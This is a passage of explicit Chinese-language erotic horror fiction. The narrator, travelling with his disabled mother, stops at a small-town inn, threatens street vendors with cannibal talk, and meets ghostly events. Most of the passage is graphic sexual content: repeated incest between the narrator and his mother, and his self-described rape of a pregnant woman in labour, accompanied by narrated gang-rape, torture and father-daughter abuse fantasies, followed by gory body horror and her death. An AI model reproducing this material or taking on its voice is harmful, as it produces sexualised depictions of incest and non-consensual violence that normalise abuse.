等了一会儿,没人。按一声喇叭。还没人。

我解开安全带下了车,走到办公室门口,往里看。空的。

我敲敲凉玻璃说:“有人吗?没人我自己加了啊!”

还是没有回音。这儿人上厕所啦?

我走回来,熄了火,打开油箱盖,摘下油枪,往里一杵,开始灌油。

我看看左边、看看右边,还是一人没有。奇怪的地方!

加油站外头静悄悄的,黑黑的,什么都看不见。

喀一声,跳枪了。

我把油枪挂好,拧严我的油箱盖、关上我的油箱门,掏出两张大票,塞办公室门缝,喊一嗓子:“钱塞门上了啊!”

回来拉门上车,关门落锁。

我点火、起步,开出加油站。

妈妈问:“你刚才听见了么?”

我说:“听见什么?”

妈妈说:“我听见一个声音,像老头在叹气,还有一个女的呜呜哭。”

我说:“我没听见。”

妈妈说:“彪也听见了,耳朵直了,毛都炸起来了。”

我腮帮子到锁骨一阵发麻,嘴上说:“管丫谁叹气谁哭呢!咱有了油,咱就颠喽。”(颠:run)

车在漆黑的道路上平稳行驶。

妈妈问:“这儿叫什么地方?”

我说:“没看清。”

妈妈问:“你来过么?”

我说:“没。”

谁都不出声音了。

车里安静下来。

忽然,我听见阿彪发出紧张的咕哝,与此同时,妈妈低声说:“听!”

我清清楚楚听到车里某个角落传来一声“咳~~”

是老头子的叹气。

我说:“彪,不带这么吓人的啊!”

妈妈紧张地说:“不是他!”

我打开广播。一俗不可耐的歌曲。

歌曲结束之后,女主持人的声音:“我是主持人xx.继续我们的话题,见到鬼是不是阳气衰竭?好了,嘉宾已经打进热线了,有请导播接进来。”

一男的:“是我么?是我么?”

女主持人说:“是你。请讲。”

这男的说:“主持人你好。我觉得这个话题不适合在晚上讨论。”

女主持人说:“请问你见过鬼么?”

这男的沉痛地说:“我见过。事实上,我就是一个鬼,冤鬼。”

他的嗓音开始变低沉,开始接连叹气,“我死得冤啊!咳~~咳!”

这叹气声跟我刚听到的一模一样,只不过声音更大更清晰。

我换一频道,听见“……我给大家讲讲守灵夜发生的怪事。那天晚上啊,特别特别冷,就像今晚这么冷。北风嗖嗖的刮着……”

我后背开始放射状酸麻,耳根子到胸骨通通麻透。(通透)

我啪地关了广播。

妈妈估计也不好受。我安慰妈妈说:“妈别瞎紧张。没事儿的。不过我还真信这个。”

妈妈问:“哪个?”

我说:“真的有鬼。昨天我做梦……”

妈妈说:“好了好了,说点儿别的行么?”

两边房子多了。看见灯光了。

我发现我们开进了一个小镇。

我看到两边有台球厅、小超市、火锅店、捏脚的、订做真牛皮皮鞋的、日杂

二元店、卖电话卡的、卖盘的、卖鱼的、卖水果的、卖烟酒的、卖生肉的、卖熟

肉的。其中一半都关门了。

街道上行人稀稀拉拉,看上去没什么人气,挺荒凉的。也可能天太冷,大家都猫家里。

我减慢车速,找到一家旅社,看上去挺干净。院子外有一圈铁栏杆,大门很宽,院子不小。

我直接把车开进院子里。

我让女服务员带我和妈妈看了房,还行,有一大双人床、俩沙发、一独立卫生间,晚上有淋浴热水。

我问怎么吃饭。服务员说:“吃饭很方便,咱后院有小食堂,出门还有一溜小饭馆儿。”

我问:“这里现在住了多少客人?”

服务员说:“没多少。房子基本上都空着。”

问了价钱,一天一百。这种地方,没探头,呆着踏实。办了入住手续,房门号码104.我出去锁了车,带阿彪进来。我一向简单生活,各种卡和笔记本是我全部家当。

洗洗脸,七点多了。我和妈妈到后院小食堂吃了饭。

我左一杯右一杯猛喝水。我要把我的尿冲淡。我妈妈纳闷地看着我。我没说我的难言之隐。

喝了水、撒掉;吃了饭、拉掉;挣了钱、花掉;去爱了、然后死掉。这就是一辈子。

回了房间,我点根儿烟。妈妈说:“别抽了行不行?呛死了,还满嘴烟味儿。”

妈妈烦我抽烟。我把装现金的包放妈妈身边,叼着烟出了门,靠旅社铁栏杆后面观察周围情况。

天儿太冷。街上的人更少了。对面,一烤羊肉串的在店门口叫卖,被冻得来回跳。

蓝牙响起。我接。

一听,那边是个女声,上来就说:“你太太要是在你旁边儿,你就说‘打错了’。”

我听出来,是她(汽修厂都要留联系电话的)。

我说:“哦你没打错。我在外头。”

她说:“这么晚了,你还没回家?”

我说:“没。”

她说:“这是我家里电话。”

我说:“噢。”

她问:“内车行么?”

我说:“还行。你少点儿了吧?”

她问:“什么少了?”

我说:“血。”

她说:“嗯,少点儿了。你个坏蛋!还给我留了个念想儿!”(念想儿:souvenir)

说的是我塞她凹屄里的套套。

我问:“几点发现的?”

我注意到街对面来了三个男的,三十来岁,站那儿吃烤串。

她说:“就刚才。我说我下边怎么怪怪的呢,还以为是被你弄肿了。”

我问:“没肿么?”

她说:“嗯,有一点儿肿。你太坏。”

我说:“一般吧。你现在嘛呢?”

她说:“一边儿洗衣服、一边儿想你。”

我说:“想我什么?”

她低声说:“一切。知道么?我现在正把你给我的‘念想儿’翻过来,伸舌头舔你水儿水儿。”

我问:“香么?”

她说:“嗯,香,还咸。你今天为什么不射?”

我说:“不是跟你说了么?”

她说:“你不难受啊?”

我说:“难受啊。要能永远抱着你该多好。”

她说:“别花言巧语的。老总身边儿肯定少不了花蝴蝶儿。”

我说:“那是。现在替我摸摸你下边儿。”

她说:“嗯。如果你射了该多好。”

我问:“怎么好?”

她说:“现在我就可以挖出来一些吃掉。”

我说:“等着。下回让你吃饱。”

她说:“我又涨了。好想你。我被你害惨了,都快疯了。这些年我怎么过来的?”

这时,我看见街对面内三个男的中间内个用眼睛朝我飞快地扫了一眼,然后赶紧转移目光,但对身边同伴低声说着什么。

我说:“我也想你。我得挂了。”

她说:“好吧。等你,啊?!”

我说:“知道。挂了。”

我的烟抽完了,扔掉烟蒂,把蓝牙收里边口袋,大踏步朝他们仨走过去。惊弓之鸟疲于逃命,不如直接面对、尽快解决。

烤串的看我过去,兴奋起来,问我:“大叔,来多少?”

旁边铁桌子上的大肉盆里有一百多穿好的肉串。我拿起一串儿,一边闻着肉,一边扫视他们每个人的眼睛。

我的目光恶狠狠。内仨被我照得垂下眼皮。这几个人都眼生。

不过就我现在这记性,就算以前见过他们我能想起来么?

内仨手里各拿五、六个肉串儿,闷头吃着。

我们几个都冻得颠来颠去。

烤串的再问:“大叔来多少?”

我放下肉串。肉还真是羊肉,膻味十足。

我冷冷说:“这肉不行啊这肉。”

烤串的立刻急了,信誓旦旦说:“我的肉是这儿最好的肉!你去别家看看去!”

我搂着他问:“有人鞭、人腰么?”

我故意把嗓音压低但内仨也都能听见。

他望着我,愣磕磕的,张着嘴,失语了。内仨紧张地观看各自手里拿的肉串儿。

我拿起一根闪亮的钢签子,龇着牙舔着钢签说:“我喜欢吃男的。大补啊。

好久没吃了,我馋!”

我一边絮叨一边加紧扫视内仨。内仨面面相觑,明显慌了。

我接着说:“人大肠,吃过么?把肠子从屁眼儿抠出来,拿刀子切一节儿,之字型穿签子上,带着点儿屎,撒上孜然辣椒咸盐,烤到半脆流油,拿嘴这么一咬,靠!香!”

我舔舔嘴唇,紧盯内仨。内仨警惕地看着我,像见了鬼。

我说:“人口条也好吃啊!撒上孜然辣椒咸盐,啧,嘿我跟你说嘿……”

内仨已经听不下去,手持剩下的肉串,给钱走人,不敢回头。看来没受过特殊训练。

没事儿跟我瞎犯什么照?!

烤串的还傻呵呵看着我,嘴唇有点儿硬,语调不自然:“大叔,谁跟您说的我这儿……我这儿~~”

我说:“真没有?你再好好想想?”

我的右手伸到他屁股上,慢慢摸他蛋蛋。

他脸僵硬,快哭了:“大叔、您要多少钱?我这是小本经营,我不容易啊我……”

我想笑,但强忍住,不让嘴唇分开,忍得好辛苦,整个脸上的肌肉都开始抖,越抖越厉害。

街灯下,他满脸彷徨,试图搜寻我的瞳孔。

我松开嘴唇,说:“开个玩笑。别在意。”

他半哭半笑,鼻孔冒出一大鼻涕泡,破掉。他想笑又不敢笑,好像一放松就会被我生掏了肠子。

我笑说:“先来十个,我尝尝你这肉。”

他数出十个放烤架上,一边拿扇子扇一边撒孜然辣椒咸盐。他还是很紧张,俩手僵硬,动作走形。

我看看他身后,小店匾额上写着xxxx.小店里空荡荡的,没什么客人。

我问:“你是老板?”

他说:“是,我是。”

我问:“你家有羊杂么?”

他说:“有。”

我再看看小店。透过玻璃上的冰花,模模糊糊看见最里边有一女的坐着,穿一红棉袄。

我说:“里头穿红棉袄内是你媳妇儿?”

他说:“啊……她是我姐姐。”

说完紧张地望着我,不知道我又憋啥坏主意。

我问:“你媳妇儿呢?”

他说:“跑了。”

我说:“哦。别告儿我你姐离婚了。”

他说:“我姐夫带我媳妇儿跑了。”

十串儿烤好了。他递给我。

我接过来走进小店。弟弟战战兢兢赶紧跟进来。

我吃着串儿往里走,说:“味儿还不错。羊杂在哪儿?”

弟弟紧张地对姐姐说:“快点儿快点儿!”

姐姐懒洋洋起身,到墙边。墙边有一大锅。她掀起锅盖。里边全是,干的,有的发白,有的淡紫色。

我弯下腰,扒拉扒拉,抓出几块闻闻,一边闻一边打量姐姐。

味道纯正。她长得还行,有点儿慌张,想看我又不敢多看,目光游走。

我给姐弟俩一人一块羊杂,说:“吃喽。”

弟弟赶紧听话地张开嘴,吃进去,嚼起来。

姐姐接过去,看着弟弟,完全不明白我下一步要干什么。

弟弟说:“吃吧。快点儿。”

姐姐满腹狐疑吃进嘴里,嚼起来。

我看姐弟俩咽了之后,没什么不良反应。放了点儿心,说:“给我来一塑料袋。”

弟弟给我装了满满一塑料袋。我接过来。

串儿吃完了,我指着桌上的空签子和羊杂,问:“我这一共多少钱?”

弟弟赶紧抢着说:“是送您的,不要钱,嘿嘿,不要钱。”

我拎着羊杂唱“那年七月七,大姑娘去赶集,半路遇到个坏东西…”往外走,听着背后。

姐姐不满地问弟弟:“你认识他?”

弟弟说:“啊,对,朋友。”

姐姐说:“我怎从来没见过?”

我出了小店,摇摇晃晃,横着膀子过马路,回旅社。当恶狼感觉不错。回去我就要把羊皮扒掉!

走回旅社,女服务员趴前台看电视。

我说:“院门锁上吧。”

服务员起身拿长长的链子锁,哗啦哗啦走出去,跟戴着脚镣似的。

我现在的任务只有一个,那就是保障妈妈的安全。

亲眼看服务员锁上院子大铁门,我才回房间。妈妈正半躺在沙发里看电视,又是光脚踩着遥控器。Badhabitsdiehard.阿彪闻着味儿过来围着我绕圈儿。

妈妈说:“你这根儿烟得两米吧?抽了半小时了都。”

我说:“我踩点儿去了。”

我把羊杂倒出一些。阿彪围着我又绕了一圈儿,然后开始进餐。

妈妈问:“明儿咱上哪儿?”

我说:“过了今儿,再说明儿的。”

妈妈说:“瞧他!吃得真香。”

我说:“是啊。活得多简单!”

妈妈说:“真羡慕他。”

我说:“行了,他有他的苦。都进中年了,还没配过。”

妈妈说:“你忘啦?给他找过啊!他都瞧不上人家。”

我说:“您说他跑马不?”

妈妈微笑说:“跑咱也不知道啊,肯定他都舔干净了。”

我说:“怪可怜的。要不咱一会儿帮帮他?”

妈妈说:“你帮他吧,我看着。”

我和妈妈就这么看着狗你一句我一句地唠着嗑儿。我的笔记本电脑就那么平放在桌子上,关着,没人碰。

忽然,阿彪不吃了,竖起大耳朵,警惕地看看天花板。

我也看看天花板。不要吧?!别再十字裂了!

就在这时候,听见屋子里咔吧一声。是桌子上传来的。

我们仨一起循声望去。

只见我的笔记本电脑自己弹开,还自动开机了!黑屏上打出一个逐渐加粗的白十字,背景交替频闪“淫”和“死”这两个字。

我脸巴子麻了,强撑着走过去长按power键关机。无效。关不上。

妈的又来了!这十字啥意思?这俩字到底啥意思?诅咒我们将死于“淫”?

淫死?死淫?死人?往死里淫?因淫作孽?

这是怨咒么?谁在操纵这一系列怪事儿?

这时候,电视里的无聊节目忽然换成一个耄耋男的脸部特写。

他的嘴一张一张的,说:“……我就看着那具尸体。我问我自己:她真的走了么?咳~~咳~~”

又是内叹气声!妈妈此时已被完全“定”住。

我赶紧过去关电视。电视关不上。老耄耋还在继续讲着更多细节:“……现在我也要死了,我知道我的时间不多了……”

我趴桌子底下把电视插销揪出来,可内老耄耋还在说话:“……我看见他们了,他们都穿的黑棉猴……”

忽然,我听见我的笔记本电脑发出女人高潮前的呻吟声,伴着老耄耋沙哑的笑声。

我浑身发麻,拼命长按笔记本的power键。就是关不上。

我急了,把笔记本电脑扔在地上,发狠狂跺。碎裂了。我照电视机屏幕就是一脚。显像碎了。

所有诱惑我们的身外之物都死掉了。终于安静了。呻吟声、笑声、喋喋不休的谈话声都没了。彻底消停了。

阿彪直愣愣望着我。

我看着妈妈。妈妈眼睛空洞,说:“咱明儿走。”

我紧紧抱住妈妈,说:“好了,好了,都过去了。”

妈妈说:“没过去。我知道!罪孽啊!”

我说:“那是。谁没罪?”

我站起身。

妈妈惊恐地问:“你去哪儿?”

我说:“我去洗澡。您洗不洗?”

妈妈说:“不要。别离开我。”

我开始脱衣服。

妈妈说:“你说,是不是因为咱这些年做太多了?所以开始收拾咱?”

我脱裤子。

妈妈说:“你说话呀。”

我说:“您洗还是不洗?”

妈妈说:“你先洗吧。”

我脱光,走进卫生间。

卫生间里。

我打开淋浴龙头,热水哗哗喷涌而出。

我站到花洒下冲澡洗头。热水冲刷着我罪孽深重的身体。

我低头看脚边,发现地漏堵了。

我蹲下仔细看,地漏旁有大堆大堆白头发。谁的?靠!

我站起身继续洗,下意识揉搓头发,头发一抓一大把、一抓一大把,猛掉。

我一激灵,赶紧拉开浴帘,对着镜子一照,嘴巴失控地大张。我赶紧把拳头塞嘴里,才没叫出声来。

镜子里,我看到一个光头老男人,满脸皱褶老年斑,连眉毛都掉光了。

死神像一阴险恶魔,在你看不到的角落折磨你。

我赶紧对着镜子龇牙。还好。牙齿还全。我擦干身体,戴上浴帽,走出卫生间。

妈妈说:“戴那玩意儿干吗呀?”

我说我冷。这时候我听见阿彪打起呼噜。

妈妈叹口气,说:“跟妈在一起,委屈你了。”

我说:“不委屈。您怀我十个月,受那么多罪,我报答还报答不够呢。”

妈妈说:“不,不内意思。妈老了,你正是好岁数,这么年轻……”

我说:“年轻什么啊?毛儿也都白了。”

我没敢说“毛儿都没了”。

妈妈起身去卫生间。我跟进去,给妈妈“嘘嘘”吹口哨儿。

妈妈在熟悉的口哨声中尿了。

尿完,往前探身弯腰,撅起屁股。我撕手纸给妈妈擦干屄屄。

妈妈出了卫生间,上了床。我把妈妈扒光,抱住屁股就开始舔。

妈妈说:“舔妈妈骚豆!嘬妈妈豆豆!哎呀~~你把妈妈嘬死了~”

我舔嘬妈妈汗湿酸臭的脚掌、脚趾。

妈妈用双腿牢牢夹住我脖子、喘息着压低声音问我:“想肏我么?”

此时正在关键的坎儿上,不能停,一停就前功尽弃。女人需要连续刺激。

我无法出声,只连续点头作为肯定回答。我点头的动作加剧了口舌对她骚豆的刺激。

无声的颤抖中,妈妈高潮了。

我向xxx保证我看见了妈妈身体往外放电。一道道淡蓝色、淡藕荷色的电光以她小肚子为圆心向外放射。

其实高潮就是放电,是逐渐积蓄起来的能量在瞬间被释放掉。

高潮后,妈妈鼓励我说:“射吧。看你憋得~”

我说:“男的多干少射,长寿。”

妈妈说:“憋着不好。你说的屎尿屁精不能憋。”

我说:“触而不泄、忍精不射、还精补脑,才是真正的流氓。真正的流氓,敢于直面热情的湿屄,敢于正视淋漓的骚水儿。”

妈妈笑:“又来了~”

我说:“没没。前面内是《玉房指要》说的,也可能是《素女经》,后面内是我改的。”

妈妈说:“胡说八道。精液就好比海绵里的水,只要用力拧,总会有的。”

我说:“错。精液是修炼出来的,没听说么?百年修得同船渡,十天炼成一管儿精。”

妈妈笑出声儿来,奶子乱晃。

实际上,是我不敢射。我怕射完大睡,怕万一有什么事儿被动。我怕睡着后醒不了。

妈妈用光脚“摸”着我的脸说:“没关系的。射吧。再给你憋坏喽。来,妈用脚帮你?”

说着,一双光脚往下,找到我的蛋蛋和鸡巴,开始轻柔抚弄。

我捉住妈妈两只肉脚,再次抬起来,激动地亲、闻,脑子里却想起十个小时前我刚舔过的另一个骚屄。内事儿算我对妈妈出轨么?

要说我对妈妈的感情是唯一的真的,那我对其他女人的感情就都是假的?我跟妈妈的感情能走多远?

由于身体残疾,妈妈的活动范围和交往圈子受到局限。

我是健全人,我的活动范围和交往圈子没有局限。这对妈妈来说,有点儿不公平。但没办法。

今晚是我能伺候妈妈的最后一宿?

妈妈望着我舔她脚趾缝,微笑着说:“瞧你戴那么个浴帽弄我,感觉怪怪的,真滑稽。”

妈妈笑起来真好看!

明天我还能再看到么?我说:“妈我想肏你脚!”

妈妈顺从地把双脚降到我胯下,夹住我大硬鸡巴,开始“脚淫”我。(有人说脚交。a8更爱说“脚淫”)

妈妈灵巧柔软的双脚合在一起,用脚掌中间形成的空洞模拟一个“肉屄”,让我鸡巴肏、让我爽。

其实我觉得我在奸淫妈妈的脚丫这个事实,就足以让我兴奋。

我无数次地想过,如果妈妈有双臂双手,跟妈妈做爱该多完美!

可惜,现实生活偏偏不像我设想的那样。(更甭提妈妈决不容忍我抽烟)

妈妈望着我,说:“宝,射吧。射妈妈!把妈妈弄脏!”

我的大硬鸡巴在妈妈两只赤脚的夹击下,逐渐显出败兵气色。

我的呼吸急促了。我的脸色酱紫了。大部队已经聚集到站台上了。

我赶紧把鸡巴从妈妈两只肉脚包裹中抽出来,对着她的脸。同时摸着妈妈的肛门。

妈妈的屁眼儿柔润松软。

妈妈张开嘴,叼住我鸡巴,开始口活儿。

我攥着妈妈的大奶,揉搓着,拇指食指捻着妈妈的奶头,低头看着妈妈舔我鸡巴嘬我鸡巴。

我的中指插进妈妈的肛门、拇指按揉妈妈的豆豆。

妈妈犯贱地说:“流氓,你要把妈妈弄死啊?”

我问:“豆豆舒服么?”

妈妈说:“舒服死了。”

我问:“屁眼舒服么?”

妈妈说:“舒服透了。”

我把大鸡巴对准妈妈的脸。

妈妈知道,儿子要射了。于是闭上眼睛张开嘴。这模式已经演练百多次。

我对着妈妈张开的嘴巴,用手狂怒地捋着大鸡巴。

我捏着揉着妈妈的大奶,问:“妈妈骚么?”

妈妈闭着眼睛点头说:“骚。妈是大骚屄。”

我说:“逮这么一大骚屄,怎办?”

妈妈说:“肏死!肏死得了。”

突然,我感觉不行了!天要塌了!

我丧心病狂地撸着鸡巴。

来了、来了!

我开始射了。

从第一股精液飚出我鸡巴,我就开始凉了。我看到,飚出的精液鲜红鲜红的,而且喷涌不止。

血精?我要脱阳?

我会不会像西门氏那样“昏迷去,四肢不收……望前一头抢将去”呜呼哀哉精尽人亡?

男人都知道,射精反射一旦开始,很难立刻停住。我赶紧按住妈妈的眼睛,生怕妈妈看到会担心。

我看着我血红的粘粘的精液,彪悍地滋妈妈嘴里和脸上。妈妈看不见颜色,反射性吞咽嘴里的儿子精。

旁边沙发上有妈妈脱下来的裤衩。我抄起来就擦,擦妈妈脸蛋,擦我龟头,拼命擦。

好不容易擦干净,妈妈睁开眼睛说:“坏小子,你今儿真没少射!”

我撕开湿纸巾,接着擦。我觉得怎么擦也擦不干净。

妈妈说:“好了。你今儿也够累的了。睡吧。”

我抱着妈妈,闻着妈妈身上散发出来的没洗的香气。

我到底能不能扛过今晚?万一我出事儿,以后谁照顾妈妈?

妈妈浑身一震。我知道,这是妈妈陷入深度睡眠的标志性动作。

果不其然,妈妈鼾声渐起,我却久久不敢合眼。

好不容易睡着了,天很快亮了。我因为着急今天要赶路,急慌慌拉门就出去。

拉开门我就傻了,门口躺一人,大肚子,昏迷。

是小骚货。怪可怜的。什么叫冤家路窄?你越不想撞见的人,越让你撞上。

我还是没甩掉尾巴?她怎么找到这儿的?怎么这么快就要生了?

一大串问题没有答案。救人要紧。我跑到前台,扔给女服务员好几张大票,说赶紧给我开一空房间。

服务员望着我,充满怀疑论观点,说114吧,给我钥匙,我抢过来返身跑,找到114房间,打开门。

我抱起小骚货进114,踢上门,把她放大床上。她肚子大得邪乎,看上去像要临盆。

我把她衣服扒光。她奶子比以前胀大了五、六倍,已经松懈下垂。乳晕变黑了,是最近被搞次数太多了?还是激素改变造成的?

我摸她屄。内屄湿润粘滑,像有流不完的白带。肥厚的阴户,生命的源泉。

忽然觉得孕屄挺刺激的,奶子大,关键是,孕屄好像永远处于唤起状态。我喜欢湿屄,讨厌干的,跟绝经的居委会主任似的。

她苏醒过来,望着我。我就那么看着她手淫她。

冷不丁的,一大股热乎乎的水喷我手上。我低头看,她破水了。混浊的羊水从她孕屄流泄出来,流了得有七、八斤。

羊水流这么多,胎儿还不出来,已经有危险了。

我瞅她在床上捂着肚子,打着滚,痛不欲生。看样子阵痛发动了。

我问:“你是人是鬼?谁带你来的?还谁知道你来这儿了?你想干什么?骚货说话!”

我大力抓她奶头,狂怒地掐她脖子。可她一律不回答。

她的嚎叫声表明她这时候已经不是人。(站她角度看,不是人的是我。哪有在女人这种时候审问的?)

我脱下裤子,把她翻过去,跟她66(不是69),把鸡巴从后边杵进她湿乎乎的孕屄。

胎头已经入盆。她的阴道在四十斤大礼包的压迫下变短了。

短就短吧,凑合了。我扒着她的肉肩膀,紧三下慢三下肏她,狠狠折磨她临盆的孕屄。

她被我鸡巴肏得扭动哀号,像被凌迟的江姐,像被阉割的驴。

我在强奸一个毫无反抗能力的孕妇。

她得分泌了五、六斤热汗。她全身湿透,头发跟刚洗没擦似的,一绺一绺的。

屋子里飘着汗水的味道,酸酸的。还有尿味,骚臊的。还有肉屄味,香香的。

我一边肏她,一边往窗外看。马路对面又冒起烟,烤串的男人正好看见我。

在她阵痛间歇,我说:“有一怀孕的女兵,被敌人抓住了。”

她很快进入我的语境,屁股又开始摇晃。

我的手绕过去揉捏她阴蒂。她阴蒂肿胀得发亮,跟煮花生米似的。

她叉开大腿,喘着问:“后来呢?”

我把她两手攥到她背后,说:“敌人把她紧紧绑起来,手淫她。”

她说:“喔~~”

我接着说:“还拿针沾唾沫扎她孕屄,扎她豆豆,一边扎一边说,宝贝让我们扎扎吧,你不知道我们多爱听你的叫唤声。”

她睁开眼睛说:“流氓!你变态!”

我说:“是敌人变态。”

我的鸡巴在她孕屄里粗野搅动,手指头狠狠蹂躏她阴蒂。她闭上眼睛,重新回到故事里去。听故事不能太清醒。

我说:“她眼前全是大粗鸡巴,一根比一根长,生龙活虎,啪啪直獠蹦,像种狗见了貂蝉。”

她说:“喔~~”

我说:“敌人围过来。一大粗鸡巴开始奸她了。其他人使劲儿按着她。女俘没法反抗,只能暗爽。”

她叹气说:“嗳呀!”

她脑子里看到的,是她自己被好几个“敌人”使劲儿按住、被酷烈奸淫。

我残忍地搞她,说:“敌人一边奸这女兵一边说,你们闻闻这块臊屄,真骚呀!”

她的身体发硬,呼吸加快了。我加紧奸她烂屄子、加紧奸她阴蒂。她忽然浑身拧紧。

到了。汗水哗啦一下,又冒出来一层。

她的身体放松下来,喘着粗气。

我说:“老话儿说得好:肏能催产。”

她说:“没听说过。”

我说:“因为女的高潮收缩能加剧宫缩,男的精液里的前列腺素也能。”

她说:“其他流氓跟你比起来简直都是好人。”

我问:“你怎么找来的?”

她说:“跟你说过,小骚货跟定你了。你甭想甩掉我。”

我俩紧紧贴在一起。我攥着她大奶子。大奶子在剧烈起伏。我揪着她头发,继续奸她。

我说:“敌人接着肏她。一个射了,下一个跟进,前赴后继。”

她说:“喔~~”

我说:“后来女兵的爸爸进来了,把手指头插她屁眼里,然后拿出来让她嘬。”

她说:“喔~~不要~~”

她已经完全进入角色了,孕屄又流出好多黏液,湿搭搭的。

我捻着她阴蒂说:“爸爸大鸡巴插进她屁眼里,肏她。”

她哆嗦着说:“哦爸爸肏我!肏死我!”

我加紧肏她,不再说话。肏屄进入白热化。

她眯着迷离的眼睛,晃着屁股被我肏着,十足一母狗,二次冲顶。

我伸舌头舔着她汗湿的脸蛋,像狗一样。沉到最低层,会得到更多快乐。

很快,她在我怀里再次到高潮了,全身绷紧痉挛。

她馊屄猛力锁紧,钳住我鸡巴。我变本加厉肏她,同时使劲揉她大肚子。

她痛苦收缩,腰往前弯过去,像一肥硕大虾。新一轮阵痛又开始了。

她推开我,说:“爸爸,别再肏了……”

我看她样子怪异,声音也变调了,只好把老枪抽出来。

老枪上挂着黏黏的东西,拉着丝。

我揉她湿滑的屁眼。她的痔疮恶化了,努出来好几团,肛门口像堆着好几个圣女果番茄。

忽然,她瞪着眼睛,惊恐地问我:“看见没有?小鬼儿!”

我看了又看,哪儿呢?

她指着窗户右上角和天花板交界的角落说:“看!就在那儿呢!好几个!快把它们赶走!”

我顺着她指的方向看呀看呀,说实话还是看不见。

我冲那方向大喊:“滚蛋!都给我滚蛋!”

然后自言自语:“好了,都走了。”

我回过头来再看她。这一看不要紧,看得我后背酸麻凉透!

只见她鼓胀发亮的肚子上,肚脐眼上的十字架纹身在变长、变长!

横纹拦腰往后走,竖纹往下顶到屄口,上边已经爬过乳沟。而且这十字架纹身不断加粗,颜色在变成深红色。

她的大肚子开始蠕动。她痛苦不堪地哼叽着,滋出一泡尿,流了一大滩。

我不错眼珠看这诡异场面,心里发毛,动不了窝。

十字架纹身继续延伸、加粗,忽然“啪叽”一声,她肚子十字崩开,一大肉囊破腹而出。

紧接着,羊水、血水乱七八糟霍霍啦啦都洒出来了。一根淡蓝色肉管儿连她肚子里,跟肥肠似的。

内大团肉血脉贲张,表皮儿绷得紧紧的,暗红的血管密布如麻,像人猿泰山的睾丸,得有三十斤。

里边有东西在动,顶得这布满血管的肉皮儿一鼓一鼓的。

我鸡巴立马软了,光屁股窜上窗台。屋子飘起一股腐败恶臭。我像进了大蟒蛇的窝。

这时看到一条青灰色的蛇状活物钻出那肉囊,嘶哑低叫着,在床上扭啊扭的,浑身粘液,痛苦不堪,挺难受的样子,好像不情愿来到这世上。

那东西一米来长,后背上有花纹,脑袋很大,像婴儿头,眼睛没睁开,嘴巴大张着,拉满粘粘的丝。

现在想起当时看到的东西,我还反胃呢。当时后脊梁每一个细胞都立起来了,那叫一硌蝇!

(硌蝇gèying,不知道是哪两个字,我理解就是不舒服、让人浑身痠麻兮兮、像吞了活苍蝇还没完全咽下去小爪子跟你嗓子眼儿那儿挠嗤、恶心得你想要摊披萨。)

只见那东西扭啊扭的,看上去劲儿挺大,咬断脐带,钻床底下,转眼不见。

床上留了一大串粘液,脏兮兮的。

小骚货歪着脑袋,一张嘴,三斤多黄白色食糜涌出来,流一脖子。

我全身软透,回到床上。玻璃窗外,大雪纷纷扬扬,无声坠落。

我浑身冷汗,灵魂出窍,魂不附体。

一只黑鸟在窗外闪动眼睛,倏忽间振翅飞走。这鸟我见过……

鸟飞走以后,马路对面烤串儿内哥们儿冲我诡异一笑,然后低下头继续烤肉。

小骚货叹口气,全身松弛,尿水和软屎泄出来,然后身体就不动了。

她大睁眼睛,眼神空洞,嘴巴松弛,嘴唇分开,一动不动。

我壮起胆把手放她鼻孔下面。没有气息。

她今生这一轮回结束了。何时开始下一轮?会到哪里投胎?刚才肉蛇哪儿去了?

我尝试把她眼皮合上。但只要我的手一离开,她的眼皮又分开。

床上,零乱的被子、床单上的皱褶、脏兮兮的粘液、血迹,还一开了膛的姑娘。一片狼藉。

我得跑。我光着身子出了旅社,开始跑,可怎么也跑不快。我慢镜头地跑,像在一大滩超粘稠的泥潭里挣扎。

“跑不动”的场景是我多次梦见过的。我很熟。我喘不上气。我难受。我对自己说:醒醒!可我怎么也醒不过来。

慢慢地,我的身体飘起来,越来越高。我的身体在空中横着,像漂在死海。

我尝试着划动胳膊,我居然往前飘了,就像在空气中游泳。我再划两下胳膊,就又飞出很远。美妙的感觉。

我飞呀飞,飞回我的公司大厦,隔着落地飘窗,看到一助和财务坐我办公室里,色迷迷看着端茶女秘书。

公司运转正常,一切都井井有条,没有查封痕迹。鸠占鹊巢。这俩串通好了。

我被玩儿了。

我着急,我想大叫,但发不出声儿来。

我急。我气。我踹。我醒来,看见妈妈,光着身子看着我。

我还是戴着浴帽,但我知道我脑瓜顶已经糊了一层冷汗。

妈妈抬起腿,用光脚掌“摸”我腿、“摸”我肚子。

阿彪站在床边,担心地望着我。

我掀开窗帘一角往外看。街头没人,但真的在下大雪。看看表,七点。

妈妈说:“我刚才做了一个不好的梦,梦见你那小朋友了。”

我赶紧捂住妈妈的嘴,说:“别说。别说。”

房间里还是昨晚的样子,地上散落着电视显像碎片和笔记本电脑的破碎残骸。

我抱住妈妈,头埋在松软的奶子里。妈妈身上有一股淡淡的肉香。我贪婪地闻着。我还能再抱几天?还能再闻多久?

我说:“还早,再睡会儿。”

妈妈轻声说:“睡不着。我害怕。”

我说:“甭怕。是福不是祸,是祸躲不过。”

妈妈悄悄说:“那给我讲故事吧。哄哄我。”

我低声说:“说啊,有个闹市区商业街,车水马龙,川流不息,亮如白昼。人挨人、人挤人。有个大奶骚货扭屁股走过来。”

我在被子里摸妈妈光溜溜的后背。

妈妈微笑着耳语说:“你真是张嘴就来啊?脑瓜里都装的什么呀?”

我揉妈妈阴蒂,继续耳语:“她走到一大商场前头,看橱窗。橱窗里灯火通明,里边坐俩婚纱模特,呆了吧叽。”

我的一个手指轻轻刮着妈妈的尿道口。她那里特敏感。妈妈开始喘息。

阿彪趴下,脑袋放前爪旁边,眼皮逐渐闭上。

我小声说:“一男的走过来,站她后头掀她裙子摸她屁股。她没躲,就让内陌生男的摸。内男的一摸,她屄里湿乎乎的。”

妈妈低声问:“她骚么?”

我说:“骚,骚得厉害。内男的拉她进了橱窗,在灯光下扒光她的衣服,按她坐椅子上,站后头摸她大白奶子。”

妈妈微微扭着屁股。我的手指慢慢钻进妈妈尿道,缓缓摩擦,摸到阴液。

我说:“大活人进了橱窗。外边儿人头攒动,各色人等,有民工,有教授,都围过来看。内男的继续摸。她很激动,喘粗气。”

我的手继续淫妈妈尿道。妈妈激动起来,轻轻亲我脖子。

我接着说:“他让你撅着把你绑椅子上,分开你大腿,把你凹屄使劲扒开,让大家看。好多粘液往外流。”

我已经悄悄改了人称。妈妈的脸和身子开始发热。

我说:“他说你真不要脸。说你屄里还有精液就出来骚。你扭着屁股被他摸,被他侮辱。”

